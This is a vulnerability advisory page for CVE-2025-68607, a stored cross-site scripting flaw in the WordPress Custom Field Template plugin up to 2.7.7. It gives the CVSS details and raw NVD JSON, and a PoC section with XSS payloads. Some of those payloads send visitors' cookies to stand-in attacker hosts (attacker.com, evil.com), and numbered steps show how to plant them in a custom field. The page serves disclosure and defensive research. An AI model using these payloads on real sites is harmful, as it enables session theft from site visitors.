Security Vulnerability Report
中文
CVE-2025-68607 CVSS 6.5 MEDIUM

CVE-2025-68607

Published: 2025-12-29 22:15:43
Last Modified: 2026-04-23 15:36:09

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hiroaki Miyashita Custom Field Template custom-field-template allows Stored XSS.This issue affects Custom Field Template: from n/a through <= 2.7.7.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Custom Field Template <= 2.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC: Custom Field Template Stored XSS --> <!-- Attack Vector: Inject malicious script in custom field value --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using img onerror event --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Method 3: Using SVG element --> <svg onload=alert('XSS')> <!-- Exploit Example (WordPress REST API or Admin Interface): --> <!-- 1. Create/edit a post with custom field --> <!-- 2. Set field name: malicious_field --> <!-- 3. Set field value: <img src=x onerror=fetch('https://evil.com/?c='+btoa(document.cookie))> --> <!-- 4. Save and publish --> <!-- 5. Any user viewing this post will execute the injected script -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68607", "sourceIdentifier": "[email protected]", "published": "2025-12-29T22:15:43.450", "lastModified": "2026-04-23T15:36:08.507", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hiroaki Miyashita Custom Field Template custom-field-template allows Stored XSS.This issue affects Custom Field Template: from n/a through <= 2.7.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-field-template/vulnerability/wordpress-custom-field-template-plugin-2-7-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}